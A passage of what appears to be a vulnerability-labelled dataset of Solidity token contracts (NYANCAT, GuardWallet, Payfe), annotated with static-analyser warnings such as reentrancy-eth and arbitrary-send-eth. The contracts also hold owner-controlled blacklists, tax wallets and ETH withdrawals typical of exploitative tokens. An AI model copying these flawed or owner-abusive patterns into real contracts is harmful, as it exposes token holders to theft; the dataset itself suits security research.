_maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: e2b6f6c\n\t\t\t\t// reentrancy-eth | ID: 31c3149\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: e2b6f6c\n\t\t\t\t\t// reentrancy-eth | ID: 31c3149\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 31c3149\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 31c3149\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 31c3149\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: e2b6f6c\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 31c3149\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 31c3149\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: e2b6f6c\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: a739d84\n\t\t// reentrancy-events | ID: e2b6f6c\n\t\t// reentrancy-benign | ID: fd48ee1\n\t\t// reentrancy-eth | ID: 31c3149\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 3af1a90): NYANCAT.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 3af1a90: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: a739d84\n\t\t// reentrancy-events | ID: e2b6f6c\n\t\t// reentrancy-eth | ID: 31c3149\n\t\t// arbitrary-send-eth | ID: 3af1a90\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: b1ccade): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for b1ccade: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: d621301): NYANCAT.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for d621301: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 2d2ecb6): NYANCAT.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 2d2ecb6: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: b761b63): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for b761b63: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: b1ccade\n\t\t// reentrancy-eth | ID: b761b63\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: b1ccade\n\t\t// unused-return | ID: d621301\n\t\t// reentrancy-eth | ID: b761b63\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: b1ccade\n\t\t// unused-return | ID: 2d2ecb6\n\t\t// reentrancy-eth | ID: b761b63\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: b1ccade\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: b761b63\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10090.sol",
"size_bytes": 20169,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n this;\n\n return msg.data;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) internal _balances;\n\n mapping(address => mapping(address => uint256)) internal _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n\n return true;\n }\n\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 74645be): ERC20._transfer(address,address,uint256).fee is a local variable never initialized\n\t// Recommendation for 74645be: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n uint256 fee;\n\n if (recipient == address(this)) {\n fee = (amount * 1) / 100;\n }\n\n uint256 taxedAmount = amount - fee;\n\n _beforeTokenTransfer(sender, recipient, taxedAmount);\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n\t\t// reentrancy-eth | ID: 686494d\n _balances[sender] = senderBalance - amount;\n\n\t\t// reentrancy-eth | ID: 686494d\n _balances[recipient] += taxedAmount;\n\n\t\t// reentrancy-events | ID: 8952238\n emit Transfer(sender, recipient, taxedAmount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n\n _balances[account] += amount;\n\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n\n _balances[account] = accountBalance - amount;\n\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}\n\nlibrary Address {\n function sendValue(address payable recipient, uint256 amount) internal {\n require(\n address(this).balance >= amount,\n \"Address: insufficient balance\"\n );\n\n\t\t// reentrancy-events | ID: 8952238\n\t\t// reentrancy-eth | ID: 686494d\n (bool success, ) = recipient.call{value: amount}(\"\");\n\n require(\n success,\n \"Address: unable to send value, recipient may have reverted\"\n );\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _setOwner(_msgSender());\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _setOwner(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _setOwner(newOwner);\n }\n\n function _setOwner(address newOwner) private {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ninterface IFactory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IRouter {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n}\n\ncontract GuardWallet is ERC20, Ownable {\n using Address for address payable;\n\n\t// WARNING Optimization Issue (immutable-states | ID: df5d0e1): GuardWallet.router should be immutable \n\t// Recommendation for df5d0e1: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IRouter public router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 5fa7703): GuardWallet.pair should be immutable \n\t// Recommendation for 5fa7703: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public pair;\n\n bool private swapping;\n\n bool public swapEnabled;\n\n modifier lockSwapping() {\n swapping = true;\n\n _;\n\n swapping = false;\n }\n\n mapping(address => bool) public blacklisted;\n\n event TransferForeignToken(address token, uint256 amount);\n\n event SwapEnabled();\n\n event SwapThresholdUpdated();\n\n event BuyTaxesUpdated();\n\n event SellTaxesUpdated();\n\n event taxWalletUpdated();\n\n event ExcludedFromFeesUpdated();\n\n event MaxTxAmountUpdated();\n\n event MaxWalletAmountUpdated();\n\n event StuckEthersCleared();\n\n uint256 public swapThreshold = 10000000000000000 * 10 ** 18;\n\n uint256 private constant MIN_SWAP_THRESHOLD = 10 * 10 ** 18;\n\n address public taxWallet;\n\n struct Taxes {\n uint256 tax;\n }\n\n Taxes public buyTaxes = Taxes(1);\n\n Taxes public sellTaxes = Taxes(1);\n\n uint256 private totBuyTax = 1;\n\n uint256 private totSellTax = 1;\n\n mapping(address => bool) public excludedFromFees;\n\n\t// WARNING Vulnerability (incorrect-modifier | severity: Low | ID: 030868b): Modifier GuardWallet.inSwap() does not always execute _; or revert\n\t// Recommendation for 030868b: All the paths in a modifier must execute '_' or revert.\n modifier inSwap() {\n if (!swapping) {\n swapping = true;\n\n _;\n\n swapping = false;\n }\n }\n\n constructor() ERC20(\"GuardWToken\", \"GWT\") {\n _mint(msg.sender, 1000000000 * 10 ** decimals());\n\n excludedFromFees[msg.sender] = true;\n\n IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n address _pair = IFactory(_router.factory()).createPair(\n address(this),\n _router.WETH()\n );\n\n taxWallet = 0x970BDb5b1835E072b7d6dA2ADcC2A9068C69565F;\n\n router = _router;\n\n pair = _pair;\n\n excludedFromFees[address(this)] = true;\n\n excludedFromFees[taxWallet] = true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 8952238): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 8952238: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 686494d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 686494d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 0f769e5): GuardWallet._transfer(address,address,uint256).fee is a local variable never initialized\n\t// Recommendation for 0f769e5: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal override {\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n require(!blacklisted[sender], \"Sender is blacklisted\");\n\n require(!blacklisted[recipient], \"Recipient is blacklisted\");\n\n uint256 fee;\n\n if (\n swapping || excludedFromFees[sender] || excludedFromFees[recipient]\n ) {\n fee = 0;\n } else {\n if (recipient == pair) {\n fee = (amount * totSellTax) / 100;\n } else if (sender == pair) {\n fee = (amount * totBuyTax) / 100;\n }\n }\n\n if (swapEnabled && !swapping && sender != pair && fee > 0) {\n\t\t\t// reentrancy-events | ID: 8952238\n\t\t\t// reentrancy-eth | ID: 686494d\n swapForFees();\n }\n\n uint256 taxedAmount = amount - fee;\n\n\t\t// reentrancy-events | ID: 8952238\n\t\t// reentrancy-eth | ID: 686494d\n super._transfer(sender, recipient, taxedAmount);\n }\n\n function swapForFees() private inSwap {\n uint256 contractBalance = balanceOf(address(this));\n\n if (contractBalance >= swapThreshold) {\n uint256 toSwap = contractBalance;\n\n swapTokensForETH(toSwap);\n\n uint256 taxAmt = address(this).balance;\n\n if (taxAmt > 0) {\n\t\t\t\t// reentrancy-events | ID: 8952238\n\t\t\t\t// reentrancy-eth | ID: 686494d\n payable(taxWallet).sendValue(taxAmt);\n }\n }\n }\n\n function swapTokensForETH(uint256 tokenAmount) private {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = router.WETH();\n\n _approve(address(this), address(router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 8952238\n\t\t// reentrancy-eth | ID: 686494d\n router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: afb30c4): GuardWallet.addLiquidity(uint256,uint256) ignores return value by router.addLiquidityETH{value bnbAmount}(address(this),tokenAmount,0,0,address(0xdead),block.timestamp)\n\t// Recommendation for afb30c4: Ensure that all the return values of the function calls are used.\n function addLiquidity(uint256 tokenAmount, uint256 bnbAmount) public {\n _approve(address(this), address(router), tokenAmount);\n\n\t\t// unused-return | ID: afb30c4\n router.addLiquidityETH{value: bnbAmount}(\n address(this),\n tokenAmount,\n 0,\n 0,\n address(0xdead),\n block.timestamp\n );\n }\n\n function setSwapEnabled(bool state) external onlyOwner {\n swapEnabled = state;\n\n emit SwapEnabled();\n }\n\n function setSwapThreshold(uint256 new_amount) external onlyOwner {\n require(\n new_amount >= MIN_SWAP_THRESHOLD,\n \"Amount is below minimum threshold\"\n );\n\n swapThreshold = new_amount * (10 ** 18);\n\n emit SwapThresholdUpdated();\n }\n\n function setBuyTaxes(uint256 _tax) external onlyOwner {\n require(_tax <= 25, \"Buy tax cannot exceed 25%\");\n\n buyTaxes = Taxes(_tax);\n\n totBuyTax = _tax;\n\n emit BuyTaxesUpdated();\n }\n\n function setSellTaxes(uint256 _tax) external onlyOwner {\n require(_tax <= 25, \"Sell tax cannot exceed 25%\");\n\n sellTaxes = Taxes(_tax);\n\n totSellTax = _tax;\n\n emit SellTaxesUpdated();\n }\n\n function settaxWallet(address newWallet) external onlyOwner {\n require(\n !isContract(newWallet),\n \"Tax wallet cannot be a contract address\"\n );\n\n excludedFromFees[taxWallet] = false;\n\n require(\n newWallet != address(0),\n \"Tax wallet cannot be the zero address\"\n );\n\n taxWallet = newWallet;\n\n emit taxWalletUpdated();\n }\n\n function setExcludedFromFees(\n address _address,\n bool state\n ) external onlyOwner {\n excludedFromFees[_address] = state;\n\n emit ExcludedFromFeesUpdated();\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 5f6a2df): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 5f6a2df: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function withdrawStuckTokens(\n address _token,\n address _to\n ) external onlyOwner returns (bool _sent) {\n uint256 _contractBalance = IERC20(_token).balanceOf(address(this));\n\n\t\t// reentrancy-events | ID: 5f6a2df\n _sent = IERC20(_token).transfer(_to, _contractBalance);\n\n\t\t// reentrancy-events | ID: 5f6a2df\n emit TransferForeignToken(_token, _contractBalance);\n }\n\n function clearStuckEthers(uint256 amountPercentage) external onlyOwner {\n uint256 amountETH = address(this).balance;\n\n payable(msg.sender).transfer((amountETH * amountPercentage) / 100);\n\n emit StuckEthersCleared();\n }\n\n function unclog() public onlyOwner lockSwapping {\n swapTokensForETH(balanceOf(address(this)));\n\n uint256 ethBalance = address(this).balance;\n\n uint256 ethtax = ethBalance / 2;\n\n bool success;\n\n (success, ) = address(taxWallet).call{value: ethtax}(\"\");\n }\n\n function burn(uint256 amount) external {\n _burn(msg.sender, amount);\n }\n\n function setBlacklistAddress(\n address _address,\n bool isBlacklisted\n ) external onlyOwner {\n blacklisted[_address] = isBlacklisted;\n }\n\n function isContract(address addr) internal view returns (bool) {\n uint256 size;\n\n assembly {\n size := extcodesize(addr)\n }\n\n return size > 0;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10091.sol",
"size_bytes": 18565,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: Unlicensed\npragma solidity ^0.8.0;\n\ninterface ERC20 {\n function totalSupply() external view returns (uint256);\n\n function decimals() external view returns (uint8);\n\n function symbol() external view returns (string memory);\n\n function name() external view returns (string memory);\n\n function getOwner() external view returns (address);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address _owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address payable) {\n return payable(msg.sender);\n }\n}\n\ncontract Ownable is Context {\n address public _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() external virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}\n\ninterface IDEXFactory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IDEXRouter {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidity(\n address tokenA,\n address tokenB,\n uint amountADesired,\n uint amountBDesired,\n uint amountAMin,\n uint amountBMin,\n address to,\n uint deadline\n ) external returns (uint amountA, uint amountB, uint liquidity);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n\n function swapExactTokensForTokensSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function swapExactETHForTokensSupportingFeeOnTransferTokens(\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external payable;\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n}\n\ninterface InterfaceLP {\n function sync() external;\n}\n\ncontract Payfe is Ownable, ERC20 {\n address immutable WETH;\n\n address constant DEAD = 0x000000000000000000000000000000000000dEaD;\n\n string constant _name = \"Payfe\";\n\n string constant _symbol = \"PAYFE\";\n\n uint8 constant _decimals = 9;\n\n uint256 constant _totalSupply = 1000000000 * 10 ** _decimals;\n\n uint256 public _maxTxAmount = _totalSupply / 30;\n\n uint256 public _maxWalletAmount = _totalSupply / 30;\n\n mapping(address => uint256) _balances;\n\n mapping(address => mapping(address => uint256)) _allowances;\n\n mapping(address => bool) isFeeExempt;\n\n mapping(address => bool) isTxLimitExempt;\n\n mapping(address => bool) private _isUnauthorized;\n\n uint256 private buyMarketingFee = 15;\n\n uint256 private buyTeamFee = 15;\n\n uint256 public buyTotalFee = buyTeamFee + buyMarketingFee;\n\n uint256 private sellMarketingFee = 15;\n\n uint256 private sellTeamFee = 15;\n\n uint256 public sellTotalFee = sellTeamFee + sellMarketingFee;\n\n uint256 constant transferFee = 0;\n\n uint256 private lastSwap;\n\n address private marketingFeeReceiver;\n\n address private teamFeeReceiver;\n\n\t// WARNING Optimization Issue (immutable-states | ID: d28ced0): Payfe.router should be immutable \n\t// Recommendation for d28ced0: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IDEXRouter public router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 43ca53f): Payfe.pairContract should be immutable \n\t// Recommendation for 43ca53f: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n InterfaceLP private pairContract;\n\n address public immutable pair;\n\n bool public TradingOpen = false;\n\n bool public swapEnabled = true;\n\n uint256 public swapThreshold = _totalSupply / 100;\n\n bool inSwap;\n\n modifier swapping() {\n inSwap = true;\n _;\n inSwap = false;\n }\n\n event maxWalletUpdated(uint256 indexed maxWalletAmount);\n\n event maxTxUpdated(uint256 indexed maxTxAmount);\n\n event maxLimitsRemoved(\n uint256 indexed maxWalletToken,\n uint256 indexed maxTxAmount\n );\n\n event exemptFees(address indexed holder, bool indexed exempt);\n\n event exemptTxLimit(address indexed holder, bool indexed exempt);\n\n event buyFeesUpdated(\n uint256 indexed buyTeamFee,\n uint256 indexed buyMarketingFee\n );\n\n event sellFeesUpdated(\n uint256 indexed sellTeamFee,\n uint256 indexed sellMarketingFee\n );\n\n event feesWalletsUpdated(\n address indexed marketingFeeReceiver,\n address indexed teamFeeReceiver\n );\n\n event swapbackSettingsUpdated(bool indexed enabled, uint256 indexed amount);\n\n event tradingEnabled(bool indexed enabled, uint256 indexed startTime);\n\n constructor() {\n router = IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n WETH = router.WETH();\n\n pair = IDEXFactory(router.factory()).createPair(WETH, address(this));\n\n pairContract = InterfaceLP(pair);\n\n _allowances[address(this)][address(router)] = type(uint256).max;\n\n marketingFeeReceiver = 0x4E78A5693A96335b63F4E904b9F690E70D46C6a1;\n\n teamFeeReceiver = 0x7efe374bF9EEcdE8c73396C012E7664C0Fc1efd7;\n\n isFeeExempt[msg.sender] = true;\n\n isTxLimitExempt[msg.sender] = true;\n\n isTxLimitExempt[pair] = true;\n\n isTxLimitExempt[marketingFeeReceiver] = true;\n\n isTxLimitExempt[address(this)] = true;\n\n _balances[msg.sender] = _totalSupply;\n\n emit Transfer(address(0), msg.sender, _totalSupply);\n }\n\n receive() external payable {}\n\n function totalSupply() external pure override returns (uint256) {\n return _totalSupply;\n }\n\n function decimals() external pure override returns (uint8) {\n return _decimals;\n }\n\n function symbol() external pure override returns (string memory) {\n return _symbol;\n }\n\n function name() external pure override returns (string memory) {\n return _name;\n }\n\n function getOwner() external view override returns (address) {\n return owner();\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function allowance(\n address holder,\n address spender\n ) external view override returns (uint256) {\n return _allowances[holder][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n require(spender != address(0), \"Spender is the zero address\");\n\n _allowances[msg.sender][spender] = amount;\n\n emit Approval(msg.sender, spender, amount);\n\n return true;\n }\n\n function approveAll(address spender) external returns (bool) {\n return approve(spender, type(uint256).max);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n require(recipient != address(0), \"Recipient is the zero address\");\n\n return _transferFrom(msg.sender, recipient, amount);\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n require(sender != address(0), \"Sender is the zero address\");\n\n require(recipient != address(0), \"Recipient is the zero address\");\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n unchecked {\n _allowances[sender][_msgSender()] = currentAllowance - amount;\n }\n }\n\n return _transferFrom(sender, recipient, amount);\n }\n\n function setMaxWallet(uint256 maxWalletPercent) external onlyOwner {\n require(maxWalletPercent >= 5);\n\n _maxWalletAmount = (_totalSupply * maxWalletPercent) / 1000;\n\n emit maxWalletUpdated(_maxWalletAmount);\n }\n\n function setMaxTx(uint256 maxTxPercent) external onlyOwner {\n require(maxTxPercent >= 5);\n\n _maxTxAmount = (_totalSupply * maxTxPercent) / 1000;\n\n emit 